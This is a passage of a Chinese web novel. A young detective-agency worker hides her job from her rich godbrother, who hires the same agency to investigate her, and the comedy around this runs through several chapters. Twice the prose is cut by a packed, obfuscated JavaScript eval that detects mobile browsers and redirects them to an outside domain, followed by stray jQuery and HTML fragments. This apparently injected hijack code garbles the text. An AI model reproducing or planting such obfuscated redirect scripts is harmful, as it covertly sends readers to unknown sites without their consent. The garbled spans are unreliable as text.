照片里的池镜心笑容灿烂,一口洁白完美的牙在阳光下熠熠生辉。她还举起手比了个耶,露出手腕上他送的那只星光璀璨的满钻手表,暗戳戳地证明这张照片确实是刚刚才拍的。
看起来没什么不对劲。但池镜心说的话,他还是一个字都不信。
上次阿锋说得对,术业有专攻,是该找专业人士查查阿心背地里都在搞什么鬼名堂了。
池镜心在内地呆了几天,把该调查的都调查清楚了,便启程返回港岛。她还不忘买了些纪念品带回去送给裴清昀,一是可以证明自己确实是旅游去了,二是可以哄哄他,毕竟那天晚上他在电话里发了好大的火。
回到渣甸山已经是晚上八点。池镜心背着背包,踏着星光步入庭院,正好听到哗啦一声响,裴清昀踏着下水台阶离开了泳池,水珠在他苍白的皮肤上四散滚落。
池镜心当即愣在原地,眼睛直直地盯着他的身体。原来这个人不仅脸好看,身体也很好看。将近一米九的身高,肩背宽阔,胸肌腹肌人鱼线兼备,腿又长又直……等等,他身上那些一道一道的痕迹是什么?伤疤吗?
这会儿天色暗,池镜心离他又有点远,看不太真切,便朝他走过去,想近距离查看一下那些痕迹是什么。
但此刻在裴清昀看来,池镜心直勾勾地盯着他的腹肌,还朝他快步走来,简直就是个色胚。
裴清昀板着个脸,骂了一句:“你能不能别这么咸湿?”
池镜心脚步顿住,悍然回骂:“你自己跟个狐狸精一样不穿衣服,满世界乱晃,我都没说你污染我眼睛呢!”
她气冲冲地回了卧室,也忘了把伴手礼给他了。
裴清昀回浴室冲了个凉,换上家居服,犹豫了一瞬,还是给温迪发了条消息:【阿心刚回来,问问她吃饭没,给她弄点吃的。】
温迪秒回:【池小姐主动要了一碗云吞面,这会儿吃得正香呢。】
裴清昀:“……”
发脾气倒也不耽误她吃饭。亏他这几天还一直担心她,生怕她在外地出什么事,结果她还挺会照顾自己的。
池镜心吃饱喝足,洗漱完上床玩手机。很快白天的旅途劳顿转化成了汹涌的困意,她一秒入睡。
不知睡到什么时候,她做了一个梦。
梦里,裴清昀成了一只没穿衣服的男狐狸精,乖乖躺在她身下。他脑袋上支着两只雪白的狐狸耳朵,还有好几条雪白蓬松的狐狸尾巴,骚嗒嗒地扫来扫去。
池镜心骑在他腰上,一只手揪着他的狐狸耳朵,另一只手兴奋地扇他耳光,嘴里还不干不净地骂:
“你个骚狐狸精!让你不穿衣服满世界乱晃!被我逮到了吧!哈哈哈哈哈哈!”
池镜心醒来时还是笑着的。当她意识到自己做了一个什么梦时,她脸上的笑容一秒消失。
她翻身坐起,这会儿才凌晨六点,但她怎么都睡不着了。
怎么会接二连三做这种羞耻的梦呢?对象还是看着自己长大的便宜哥哥。池镜心想不通,从背包里摸出了一盒烟。
她抽出一根烟,点燃,夹在指间,佝偻着背坐在床边。心事重重的脸一半隐在黎明时分的阴影里,仿佛文艺电影里不堪生活重负的颓丧中年人。
ADHD患者很容易物质成瘾,吸烟率是普通人的二到三倍。池镜心也不例外。好在她烟瘾一直比较轻,平时有别的事忙着就想不起来抽烟。
只有在构思推理小说的核心诡计时,她会习惯性点一支烟。
现在对她来说,裴清昀就是一个复杂诡异的核心诡计,她苦苦思索,仍不知道该怎么解开谜底。
难道她喜欢裴清昀?不可能吧。他那么讨厌,小时候天天往她家跑,在她母亲面前装乖讨好,威胁她独生女的地位,她都快烦死他了。
外面朝阳初升,当一缕清澈的晨光透过落地窗,照在池镜心脑门上时,她脑子里灵光一闪,她悟了!
她就是被那狐狸精的脸和身材给蛊惑了!这简直再正常不过了!他那张建模脸,那胸肌腹肌人鱼线,谁见了能不馋啊!食色性也嘛!
她能有什么错?她不过是一个有着正常审美与欲望的二十岁小女孩。
开悟以后,池镜心开始思索另一个问题:她要睡裴清昀吗?
其实她还从来没有跟人发生过关系。不是她保守,她是有职业病,疑心重。
她总怀疑,一个男的上一秒还跟她好,下一秒就会把性病传染给她,或者到处散布她的隐私,造她的谣……知人知面不知心,随便跟异性发生关系风险是很大的。
但是裴清昀在她的世界里,跟外面那些男的不是一回事。
他是她的哥哥,她一出生就认识他了。他从小就像个家生子仆人一样照顾她,任劳任怨,尽心尽力。最重要的是,他从没做过任何实质性伤害她的事。
他应该是可以信任的吧?如果连他都不可信任,那她还能信任哪个男的呢?
池镜心将即将燃尽的香烟递到唇边,狠狠吸了一口。烟头那一点猩红的光芒变得愈发明亮,仿佛炽盛的欲望。
她决定了,她要把裴清昀给睡了!
12. 掉马
到了早餐时间,池镜心来到餐厅,静静地坐着发呆。
裴清昀下楼,像往常一样坐到她对面。
他刚一入座,就皱起了眉。然后池镜心眼睁睁看着他站了起来,绕过餐桌走到她身旁,弯下腰,在她颈侧深吸了一口气。
池镜心被他这一行为给惊到了,浑身僵硬不知该作何反应。
他这是在干嘛?!勾引她吗?好啊,狐狸尾巴这就藏不住了!骚货现原形了!原来她昨晚做的是个预知梦啊!
下一秒,裴清昀一声怒斥,打断了她的胡思乱想。
“你是不是抽烟了?!”
池镜心:“……”
就这?就为了这?我都准备好扒你裤子了,结果你就跟我说这个?
不过这不科学啊,她都洗脸刷牙换衣服了,身上应该没有烟味了,他是怎么闻出来的?小时候她经常使坏,故意叫他狗狗,难不成他真是狗变的?
见她不说话,裴清昀当她默认了。
“把烟和打火机交出来,以后不许抽烟了!”
池镜心坐着没动:“早上睡不着,我把剩下的那几根烟全抽完了。”
裴清昀不信她,但也不想去她的房间搜。毕竟她是个成年人了,不能真当成小孩子一样管。
他只是坐回她对面,冷声警告了一句:“以后再让我发现你抽烟,我饶不了你。”
池镜心嗤笑了一声:“管这么宽做什么?你不抽?你们有钱人哪个不是烟酒都来?”
烟酒都来还算轻的,很多富家子弟玩得很离谱的,嗑药,飙车,开银趴……远的不说,裴清昀他亲妈不就是个顶级玩咖吗?
想到这里,池镜心心里咯噔一下。裴清昀不会随他亲妈吧?不知道他的私生活干不干净,要是不干净的话,她就不想睡他了,她怕得病。
裴清昀:“你自己烟酒都来,别以为人人都跟你一样。我不抽烟,也很少喝酒。”
池镜心忽然有些好奇:“那你平时的娱乐消遣活动都有哪些?”
裴清昀随便说了几个:“拳击,游泳,看书。”
池镜心眼睛一亮:“我也学过拳击的!要不要切磋一下?”
裴清昀瞥了一眼她的小细胳膊,没正面回答:“赶紧吃你的饭吧。都瘦成什么样了。”
池镜心今早抽了太多烟,现在没什么胃口,只随便吃了几口就打算返工了。她回卧室拿背包,发现背包里还有一份没交给裴清昀的伴手礼。
她拿着伴手礼返回餐厅,将手中的黑色盒子往裴清昀面前一递:“给你带了份伴手礼。”
裴清昀很是诧异。他认识池镜心二十年了,从来只有他送阿心礼物的份,这还是第一次收到阿心送他的礼物。
他一时间颇有些受宠若惊,还有些“孩子长大了终于懂事了知道回馈家人了”之类乱七八糟的感慨。
他接过盒子,打开一开,有些哭笑不得:“阿心,我是个男人。”
池镜心不解,这句话听起来怎么怪怪的?她还能不知道他是个男人?
她突然想起以前和澄澄一起看的一部大烂片,男主吼了一句“能不能别撩我了,我是个男人”,然后就揽过女主的腰狠狠亲了上去。
池镜心顿时脸色一变,这句话是性暗示啊!他的狐狸尾巴终究还是藏不住了吧?!下一步是不是就要跟电影男主一样亲她了?要不要先找他要个体检报告?
就在她脑子里各种念头纷飞之际,裴清昀拿起盒子里的檀香扇,展开,精致小巧的折扇上雕刻着栩栩如生的花鸟鱼虫。扇子的尺寸偏小,握在女孩子的手中刚刚好。
裴清昀终于说完了下半句话:“你送我的这把扇子,是女人用的。”
池镜心:“……”
是这个意思啊……
啧,有钱人真难讨好,收个礼物还挑三捡四的。
她有些生气,说话也不客气起来:“女人用的又有什么关系?现在谁还用扇子?你要破产了?连冷气都开不起了?这把檀香扇是当地的特色工艺品,是用来摆在家里欣赏的!懂不懂啊你个土鳖!”
裴清昀笑了起来,好声好气地哄:“是是是,我土鳖。多谢阿心的指导,回头我就把这把扇子放到书房里,日日夜夜地欣赏。”
池镜心静静地看着他,发现重逢以来,这还是她第一次见到他笑得这么轻松和煦,比平时总是板着脸教训她的样子好看多了。
她冷哼一声,一副“看在你这张脸的份上不跟你计较”的大度姿态。
“我返工了。你在家好好的,不许拆家,等我晚上回来陪你玩。”说完这番大逆不道的话,她转身就走。
裴清昀看着她的背影,脸上的笑容渐渐淡去。
她一天到晚究竟都在外面忙些什么呢?希望这一次真能查个水落石出。
池镜心来到事务所,无所事事地跟其他几个同事窝在会议室里打游戏。
前几天在外地调查的时候,她已经把收集到的信息即时发送给钟言真了。其他几位同事也都顺利完成了手里的调查任务。昨晚钟言真几乎一夜没睡,将员工们收集到的信息都整合到了一起,连夜赶出了一份厚厚的调查报告。
这会儿钟言真已经赶去了骆家,亲自将婚前调查报告交到骆仲贤夫妇手中。等骆家付完尾款,钟言真就可以回来给大家发奖金了。
池镜心百无聊赖地回忆了一下调查对象何咏晴的生平,出生于中产之家,独生女,被父母全力托举,中学就去了英国留学,品学兼优,获得一等荣誉学士学位,就职于顶尖投行。
除了原生家庭好,学业好,工作好,这位何小姐的情路也相当顺畅。她大学起就跟老牌豪门骆家的少爷骆品谦谈起了校园恋,两人都是彼此的初恋,如今马上就要结婚了。
池镜心难得有些落寞。她本来也是中产家庭独生女来的。她父母当年也是希望她能成长成这么优秀的样子吧。
结果她连小学都无法读下去,不得不申请在家接受教育,二十岁了还没考上大学,做着一份薪资不如洗碗工的工作……
还记得离开小学校园那天,她母亲牵着她的手,温声对她说:“我们阿心是个特别的小孩,注定了要走特别的道路。没关系,只要不违法犯罪,不伤害别人,走哪条路都是可以的。”
她父亲当时负手站在一旁,冷哼了一声,嘲讽道:“走哪条路都可以?做清洁工也可以?住笼屋也可以?我们寒窗苦读十几年,好不容易奋斗成中产,买楼买车,搬出了深水埗。
本来还指望她将来踩着我们的肩膀,更上一层楼。现在不用痴心妄想了,她长大后只会跌落回底层!”
母亲反驳道:“那她一出生就有ADHD,也不是她的错啊。你再怎么指责她都没有用,还不如让她过个快乐的童年。”
父亲:“我读书时年年考第一,最难考的港大牙医专业我都考进去了,怎么可能生出一个有ADHD的小孩?肯定是你们池家基因有问题!”
母亲:“你这么说话就没意思了。我当年投考督察还一次就考上了呢,我基因能有什么问题?”
……
回忆起当年父母之间的那些争吵,池镜心苦笑了一下。如果没有她,她父母应该会少吵很多架,她父亲也不会在妻子去世的第二年就迫不及待再婚,又有了一个小孩。
她父亲太渴望有一个优秀的小孩了。以至于有了新小孩之后,就全力投入到培养他的过程中去,完全忘记了她的存在。
钟言真推开会议室的门,打断了池镜心的回忆。
同事们都一脸欣喜地看向钟言真,七嘴八舌地问:
“怎么样真姐?骆家付尾款了吗?”
“是不是可以给我们发奖金啦?”
钟言真摆摆手,寻了张椅子坐下,长叹了一口气:“骆家这钱真是不好拿。他们说我们给的调查报告,调查的都是何咏晴过去的人生轨迹,过去的都过去了,怎么能看出她现在的人品如何呢?所以,骆先生要求我们接近何咏晴,试探她现在的品行。”
同事们纷纷垮下了脸:
“啊?这要怎么试探啊?”
“我跟踪过那个何小姐一段时间,她不是在家就是在上班,生活简单得不得了,我们怎么找机会接近她啊?”
“而且留给我们的时间不多了……”
池镜心也烦得不行,那骆家当自己是皇帝选妃呢?就算真选出一个各方面都无可挑剔的完美新娘,也不看看他家儿子配不配。
那个骆品谦论相貌,论学业,其实都比何咏晴矮一头,只是家境好罢了。再说他那家境在港岛也就二流豪门的水平,裴清昀可以吊打他几百回合。也不知道这个骆家在装什么,裴清昀在她面前都没这么装。
钟言真:“好了,大家都别急,慢慢想办法,总能想出法子来的。阿心,你来我办公室一趟。”
池镜心一愣,完全不知道钟言真能有什么事找她。
来到钟言真的办公室,池镜心刚一坐下,一抬头就看到钟言真盯着自己,脸色是前所未有的严肃。
她被盯得都有些紧张了,小声问:“怎么了真姐?干嘛这么看着我?”
钟言真两手抱于胸前,靠在椅背上,审视着池镜心:“你最近有没有得罪什么人?”
“没有啊。”
“昨天来了个委托人,委托我调查一个女孩子的行踪。那个女孩子就是你。”
“啊?!”
“看在我和你母亲是警校同学的份上,我怕这人对你不利,于是假装不认识你,接下了这份委托。你看一下监控录像,这个委托人你认识不?”
钟言真递过来一个平板,屏幕上正播放着事务所内部的监控录像。
池镜心看了一眼就笑了:“这个委托人我认识。”
这位穿着深色西装,看起来人五人六的委托人,不就是裴清昀家的保镖阿锋嘛!
肯定是阿锋跟踪她无果,所以裴清昀叫他去请专业人士调查她的行踪。谁成想阿锋竟然找到了她就职的事务所,真是天助她也。
钟言真打量着她轻松的表情,意识到这事应该不严重,于是脸色稍缓,问:“这人是谁?不是你的仇家吧?”
“不是不是,他是裴清昀家的保镖。”
钟言真挑了挑眉。她想起池镜心跟陈家荣吃饭那天,有个年轻男子突然跑来找池镜心。以她的视角,只能看到那个年轻男子半张脸。
当时她急着去跟踪目标,没有把那个突发状况放在心上,以为只是池镜心的朋友来找她。现在她再想一想,那个年轻男子的半张脸,还挺像媒体报道中的裴清昀的。
钟言真看向池镜心手腕上璀璨夺目的手表,悠悠道:“你这只表挺好看的。”
池镜心低头看了一眼手表,秒懂了。钟言真以为她是裴清昀的小情人。大佬一般都生性多疑,怀疑身边的人不忠诚也是很正常的,找人调查身边人也是很正常的。
钟言真这番推测也算是合情合理,可惜,她的推测全错。
池镜心强忍着笑意:“表确实是他送的,但我跟他不是那种关系,他是我哥。”
此言一出,钟言真脸色大变,整个人猛地往前倾:“你是裴家的私生女?!”
“哈哈哈哈哈哈哈!”池镜心终于忍不出笑出了声,笑得几乎要从椅子上摔下去。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16036723|178722||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
“真姐你怎么尽往狗血的方向猜!我跟他没有血缘关系啦,他只是我妈咪的契仔。”
钟言真还是很诧异。她跟池若颐一进警校就认识了,虽然后来不在同一个部门工作,交集不多,但她居然从来不知道池若颐有个这么有来头的契仔,这人嘴也太严了。
钟言真:“既然他是你的哥哥,想必也只是关心你才找人查你的,那我现在就联系他派来的委托人,跟他实话实说咯。”
“不行!”池镜心果断反对,“我一直骗他说我在茶餐厅做兼职,我不能在这个时候被揭穿!”
要是搁之前,掉马了也就掉马了,没什么大不了。可现在不一样了,她想睡裴清昀,就不能让他知道她一直在耍他。他要是知道了真相,肯定会大发雷霆,把她赶出家门,那她还怎么把他弄上床。
就算他不发脾气,也不会让她在渣甸山继续住下去了。本来一开始他就是不想看到她被古惑仔骚扰,才让她搬家,现在得知根本不存在什么古惑仔,自然也就没必要再让她住自己家了。
钟言真驳回了池镜心的反对:“我总不能交一份假的调查报告给裴清昀吧?我干嘛为了你得罪这尊大佛?人家要是发现我耍了他,有一百种方式让我在港岛混不下去。”
“不会的真姐,他不是那种人。就算他发现了真相,最多也就是收拾我一顿,牵连不到你头上的。”
钟言真冷笑一声,明显不信:“牵连不到你头上还差不多。你是他妹妹,他能把你怎么样?到头来还不是拿我们这些外人出气。”
池镜心凑近些许,小声道:“真姐,你想完成骆家的委托吗?”
“你想说什么?”
池镜心轻柔的嗓音带着一丝不易察觉的蛊惑:“我扮啤酒妹那天,遇到了裴清昀和骆品谦、何咏晴在酒吧里一起喝酒。他们三个是大学同学,关系看起来蛮好的。
我可以通过裴清昀的关系接近何咏晴,从而完成骆家的委托。只要真姐你愿意帮我一个小小的忙,我就帮你挣到骆家的尾款。”
池镜心将下巴放在办公桌上,眨巴着清澈湿润的大眼睛看向钟言真,像一只无辜的puppy。
钟言真在职业道德与金钱利益间徘徊不定,最后她一咬牙,选择了金钱。
事务所同事向思移家是开茶餐厅的。这天下午,池镜心跟向思移一起去了向家的茶餐厅,池镜心戴着围裙,装模作样地接待顾客,传送菜品,打扫卫生。向思移则站在不远处,以偷拍的视角拍摄下这一幕幕。
没过几天,一份印着洞烛侦探事务所logo的调查报告,出现在了裴清昀的办公桌上。
他仔细翻阅着这份调查报告,照片里的池镜心认认真真地做着茶餐厅服务员的工作,嘴角微抿,看起来倔强又可爱。
他合上这份报告,眉宇间仍有些许困惑之色。所以真的是他想多了?阿心真的是在茶餐厅做兼职?
虽然他总觉得哪里不对劲,但这份调查报告有图有真相,由不得他不信。
晚上他要参加一个宴会,没法监督池镜心补习英文,便给她发了条消息:
【今晚我不回来吃饭。你自己早点把饭吃了,把昨天那套题的PartB做完,我会让温迪监督你的。】
池镜心看到这条消息后撇了撇嘴。本来她以为,裴清昀忙的时候就顾不上她了,她就可以躲躲懒,没想到他再忙都不忘找个人监督她温书,也是够执着的。
夜里,富商陈家荣携自己青春靓丽的孙女,来到了觥筹交错的宴会厅。
以陈家荣的财富量级,本来是不太够格参加这种级别的宴会的。好在这次宴会的主人跟他沾亲带故,大方邀请了他。他便带上自己单身的孙女一同赴宴,希望宝贝孙女能在社交场合中遇到个真命天子。
衣香鬓影间,陈家荣见到一个年轻人的身影,格外挺拔卓越。他立刻认出来了,那是裴清昀。
之前在朗月轩的时候,陈家荣就见到这个年轻人走过来,怒气冲冲地将陪他吃饭的侦探事务所调查员带走了。当时他没反应过来这个年轻人就是裴清昀,错过了一个攀谈结交的机会,他一直挺惋惜的。
如今在社交场合再次遇到裴清昀,陈家荣立刻兴奋起来。裴清昀算是港岛第一超级笋盘,若是能看上他的孙女,那就撞大运了。
陈家荣拉着孙女走到裴清昀面前,热情地做了个自我介绍,又介绍了一番他的孙女。
裴清昀始终眸色冷淡地看着他,等他介绍完,才淡淡开口:“既然都是有孙女的人了,陈老先生更应学会自重。”
陈家荣虽财富量级远不如裴清昀,但到底是个老人家,又是当着自家孙女的面,哪里能忍受被一个年轻人这样阴阳。
他当即眉头一皱:“这是什么话?还请裴先生说清楚,我哪里不自重了?”
裴清昀:“前段时间,你带着年纪那么小的女孩子去朗月轩,是想干什么?你年龄是人家三倍大还不止……”
陈家荣大惊:“你不是认识那个女孩子吗?你难道不知道她是做什么的?”
裴清昀眉头微蹙,那种不对劲的感觉越来越强烈:“她是做什么的?”
“她是我请的侦探事务所调查员啊!那天我们一起吃饭,是为了调查我被偷拍一事!”
一瞬间,裴清昀的脑子里有电光闪过,串联起了一切有关池镜心的奇怪的地方。
“那家侦探事务所叫什么?”他问。
“叫……虫洞……不对,叫洞烛侦探事务所。”
洞烛侦探事务所……裴清昀想起他办公桌上放着的那本来自洞烛侦探事务所的调查报告,轻笑了一声,被气的。
13. 狗狗
特别定制的防弹版迈巴赫平稳行驶在夜间山道上,裴清昀看着车窗外昏沉的夜色,想起了一些很久远的事。
池镜心两岁的时候,已经能跟大人进行基本的交流了。有一天他去契妈家玩,契妈抱着阿心,教她打招呼:“阿心,这是阿昀哥哥,叫哥哥。”
戴着碎花围嘴的幼年版阿心,像个软趴趴的糯米团子,趴在母亲温馨的怀抱里,吃吃地笑,就是不肯叫人。
“快叫哥哥呀,宝贝。”池若颐催促她。
阿心笑嘻嘻地看着他,突然大声叫了一声:“狗狗!”
池若颐一脸无奈地纠正她:“是哥哥,不是狗狗。”
阿心莫名兴奋起来,小手乱舞,小腿乱蹬:“就是狗狗!狗狗,狗狗,汪一个!”
当时才九岁大的裴清昀看到她这样子,一颗心沉到了谷底。
阿心都两岁了,连哥哥和狗狗都分不清,肯定是因为早产的缘故,智力出现了问题……而阿心之所以会成为早产儿,都是他害的。
裴清昀强忍着鼻尖的酸涩感,不让自己在契妈面前哭出来。强烈的负罪感几乎腐蚀他的心脏,他知道他什么也挽回不了,只能尽全力弥补阿心。
他把零花钱全部攒了起来,用来给阿心买礼物。那些年最流行的那些儿童玩具儿童绘本,他全都给阿心买过。
每次去契妈家,他无比耐心地陪阿心玩那些低龄小孩玩的幼稚游戏,任由阿心拿着画笔在他脸上手上乱涂乱画。
阿心不喜欢吃饭,吃不了两口就到处乱跑,他就捧着碗追着她喂,好声好气地哄着她多吃几口。
阿心歪着头,一脸无辜地对他说:“狗狗你汪一声,我就再吃一口。”
他强忍着羞耻感,轻轻汪了一声。阿心立刻拍着手跳了起来:“狗狗好乖!”
这样的场景还有很多很多……他就像个家生子仆人一样伺候她,比她亲生父母还惯着她。
直到某一天,他去契妈家吃晚饭,在小区楼下遇到了池镜心。当时她由家里的工人姐姐陪着,跟另一个同龄的小女孩一起玩滑板车。
他走过去,打了声招呼:“阿心,一起上楼吗?”
阿心摇了摇头:“我还要再玩一会儿,狗狗你自己上去吧。”
他点点头,没走两步,就听到身后有个小女孩问阿心:“你为什么叫他狗狗啊?这是他的小名吗?”
阿心:“当然是为了逗他玩啊。我还让他学狗叫给我听呢!昨天他真的叫了一声哦,虽然叫得很小声,让他大声一点他死活不肯。哈哈哈哈他超好玩的!”
裴清昀永远记得那天,他是如何一寸一寸转过头,死死盯着阿心那张狂妄得意的笑脸的。
他万万不敢相信,自己居然被一个这么小的小孩子给耍了。
谁能想得到啊,这个年龄的小孩居然都能搞恶作剧。她哪里是智力有问题,她是智力好过头了。
回忆完过去,裴清昀自嘲一笑。他早该想到的,池镜心天生就是个坏胚子,三天不搞恶作剧就能憋死她。
小时候装智障,长大了装小太妹,回回都能把他骗得团团转。这个小魔星生来就是克他的。
生气归生气,裴清昀内心深处却是前所未有的轻松踏实。无论如何,阿心没有学坏,总归是一件好事。契妈在天之灵也可以安心了。
他也不会真跟池镜心计较什么。小时候得知阿心只是在耍自己玩,他还不是照样给她买礼物,当牛做马地伺候她。
毕竟契妈对自己恩重如山,阿心成早产儿也确实是他害的,他确实该好好弥补她。
眼下就让阿心继续在他家住着吧。虽然学坏是假的,但她没读大学是真的。
考大学是第一要紧事。阿心是ADHD患者,需要在他的监督下温书。等她考完DSE,他再收拾她。
迈巴赫驶入庭院,裴清昀一下车,就透过落地窗看到池镜心坐在餐厅里,埋首做题。温迪坐在她旁边守着她,两人看起来就像一对温馨和睦的母女。
裴清昀心头有些触动。如果契妈还活着的话,也会这样温和耐心地陪伴她吧。
想到这里,他内心仅存的几分对池镜心的怒气,也都不知不觉消散了。
步入室内,裴清昀打算回卧室换身家居服,再下来看看池镜心的功课做得如何了。
池镜心抬头看着他经过,微微一怔。这还是她第一次见到裴清昀穿礼服。缎面戗驳领黑色西装穿在他身上,有型得不得了,顶级男模见了都得甘拜下风。
她看得心头犯痒,忍不住吹了一声流里流气的口哨。
裴清昀本来正要上楼,听到这一声流氓哨,他刚刚消散的怒火又瞬间被她点燃了。这个孽障,永远懂得如何在最短的时间里激怒他。
新仇旧恨一齐涌上心头,他折返回客厅,从沙发上拿起一个抱枕,径直朝池镜心走过去。
池镜心见他来势汹汹,脸色阴沉得好似要杀人一般,有些紧张地吞咽了一下:“你要干嘛?”
裴清昀没回答她,抡起抱枕,劈头盖脸就是一顿揍。
“我让你吹口哨!我让你不学好!你个混帐东西!一天到晚扮鬼扮马,我替契妈打死你算了!”
软乎乎的抱枕砸在身上,没有什么痛感。池镜心却戏精上身,像被铁锤砸了一般鬼吼鬼叫,还向温迪伸出手求救:“温迪姐救我!你老板疯啦!杀人啦!快把他拉开呀!他成杀人犯就没人给你发薪水啦!”
温迪抿着唇不说话,默默离开了这是非之地。
温迪虽然已近中年,依然爱好看些言情小说。小说里的管家总会有一句经典台词:“好久没看见少爷笑得这么开心了。”
而自从池小姐住了进来,温迪心隔三差五就会生出一个感慨:好久没看见少爷发这么大火了。
老实说,她是挺担心哪天池小姐成功把她老板给气死了,就没人给自己发薪水了。
用抱枕把池镜心揍了一顿,裴清昀带着未消的余怒回了主卧。洗完澡,从浴室出来,他听到庭院里传来叽叽喳喳的说话声。
他站到卧室窗边,往下一看,院子里不知何时扎起了一个小帐篷,帐篷前面铺着野餐垫。
池镜心穿着比格犬连体睡衣,趴在野餐垫上,正在读一本故事书。阿智趴在她旁边,正听得认真。
看起来她今晚是打算跟阿智一起睡庭院了。
裴清昀想起她刚搬来那天,他怼了她一句“或者你也可以去后院跟阿智一起住”,她居然还当真了。她的脑回路真是迥异于常人。
似乎是察觉到了他的注视,池镜心忽然抬头看向他,饶有兴味地笑了笑,又吹了一声流氓哨。挑衅意味十足。
“你要下来跟阿智一起听我读睡前故事吗?”池镜心问。
裴清昀冷冷地俯视她,想起自己至今还没拆穿她的恶作剧。就先别拆穿好了,他也逗她玩玩,总不能一辈子都单方面被她耍吧。也是该给她点教训了。
想到这里,他唇角泛起一丝恶意的笑,一把扯过窗帘,挡住了院子里的视线。
庭院里的池镜心愣了一瞬,以为自己看错了。刚刚他是不是笑了一下?怎么笑得邪里邪气的……
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16036724|178722||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不过笑得很好看就是了。
啧,这骚货又在勾引人。早晚把他给睡了!
第二天是周六,裴清昀不去公司,打算一整天都呆在家里监督池镜心温书。然而池镜心却说自己要返工,吃完早饭就出门了。
骆家的婚前调查因暂时寻找不到突破口,只能先搁置下来,静待时机。现在事务所又在忙一桩新的委托——帮一个女孩子寻找丢失的宠物猫。
寻找宠物算是最常见最无聊的委托了。池镜心和同事们拿着那只宠物猫的照片,走遍了大街小巷,依然一无所获。
到了下午三点,池镜心收到一条裴清昀发来的消息。
裴清昀:【昨天阿锋说见到你在翠华茶餐厅做服务生。我今天恰好没事,就过来看看你,怎么没见到你人?】
池镜心瞬间惊出一身冷汗。
翠华茶餐厅就是向思移父母开的茶餐厅。阿锋昨天怎么可能在翠华茶餐厅见到她,她昨天根本没去过那里!
肯定是阿锋将那份假的调查报告交给了裴清昀,裴清昀疑心病重,非要亲自去茶餐厅看看她是不是真的在那里做兼职。
她脑子飞速运转,打了一行字:【我今天有点不舒服,刚跟老板请了假,现在已经在回渣甸山的路上了。】
这行字还没发送出去,她又收到了一条新消息。
裴清昀:【刚刚我跟老板说,我妹妹阿心在你们这做兼职,怎么没看到她人?老板说,你外出送餐去了。】
池镜心倒吸一口冷气,立刻将刚刚打出的那行字全部删掉。
前几天她跟向思移去茶餐厅拍照的时候,她跟茶餐厅老板,也就是向思移的父母打过招呼了,有任何人来店里问起她,就说她确实是在店里做兼职,只是有事出去了。
向思移的父母反应还挺快,裴清昀一问,他们就立马帮她编了个谎话圆了过去。
池镜心:【对啊,我忙着送餐呢,你别老发消息过来了。】
裴清昀收到她发来的消息,轻轻一哂。此时他穿着松弛随性的亚麻衬衫,休闲西裤,坐在装潢老旧的翠华茶餐厅里,通身矜贵不凡的气度与这间廉价朴实的食肆格格不入。
更不要提他前后左右坐着的都是他带来的保镖,众星拱月般把他围在中间,将他与周围环境隔绝开来。
店里其他的客人都忍不住频频偏过头打量他,有几个客人在交头接耳小声议论:
“那是不是裴清昀?”
“大佬也来体验平民生活?”
“妈呀帅得太超过了,好想去要个联系方式!”
“别发痴了,小心人家保镖揍你。”
……
裴清昀端起餐桌上的冻柠茶饮了一口,不疾不徐地打字回复:【你慢慢送。我就在店里喝下午茶,一直喝到你回来为止。】
池镜心看到这条消息,差点一口气没倒上来。
她咬牙切齿地迅速回复:【你有病啊!喝完了就快滚!茶餐厅有用餐时间限制的!别耽误人家老板做生意!】
裴清昀:【我知道,这家店的下午茶限定用餐时间是九十分钟,我刚坐下不到十分钟。剩下八十分钟时间,怎么也够你赶回来了吧?】
池镜心脑子里瞬间飙过密密麻麻的脏话,立刻拔腿跑向路口去拦的士。
裴清昀优哉游哉地坐在茶餐厅里,又饮了一口冻柠茶。许是因为心情愉悦的缘故,这么一杯用料粗劣的冻柠茶,他竟觉得分外冰爽可口,清新怡人。
他手指轻敲着桌面,漫不经心地想:难怪阿心喜欢搞恶作剧。确实是好玩。
14. 派对
半个小时后,池镜心赶到翠华茶餐厅,一进店就看到裴清昀被一圈保镖围着坐在店里,慢条斯理地拿起一只酥皮蛋挞尝了尝。
其动作之优雅得体,画面之赏心悦目,仿佛是在五星级酒店品尝下午茶,与周围的环境完全不是一个图层。
池镜心满头黑线,在心里暗骂了一句:骚货,大白天的骚给谁看呢。
她目不斜视地经过裴清昀,径直走到向思移父亲面前,装模作样地打了个招呼:“向叔,我回来了!”
向叔也装模作样地回应她:“哦,好,你去把地拖一下吧。”
池镜心站着没动,她背对着裴清昀,用口型示意向叔:“拖把在哪?”
向叔直接将她拉进了后厨,一边拿起拖把塞给她,一边小声问:“阿心啊,外面那帅哥是裴清昀吧?他说你是他妹妹,我帮你撒谎骗他,不会被他记恨吧?我们做小本生意的,可不敢得罪这些大人物啊。”
“放心吧向叔,”池镜心拍了拍向叔的胳膊,一脸的信誓旦旦,“他要是敢欺负你,我就敢要他狗命!再说以他那智商,根本发现不了我们在骗他。我从小就把他当傻子骗着玩,从来没翻车过!”
向叔看着池镜心那志得意满的神情,心里直犯嘀咕:那个裴清昀的智商怎么都不可能会低吧?二十多岁就接手家族企业,据说能力比他那舅父强多了。这样的人中龙凤,能被她一个妹妹仔当傻子骗着玩?
池镜心没管向叔的心理活动,拿着拖把就出去了。她自顾自地埋头拖地,完全把裴清昀当空气。
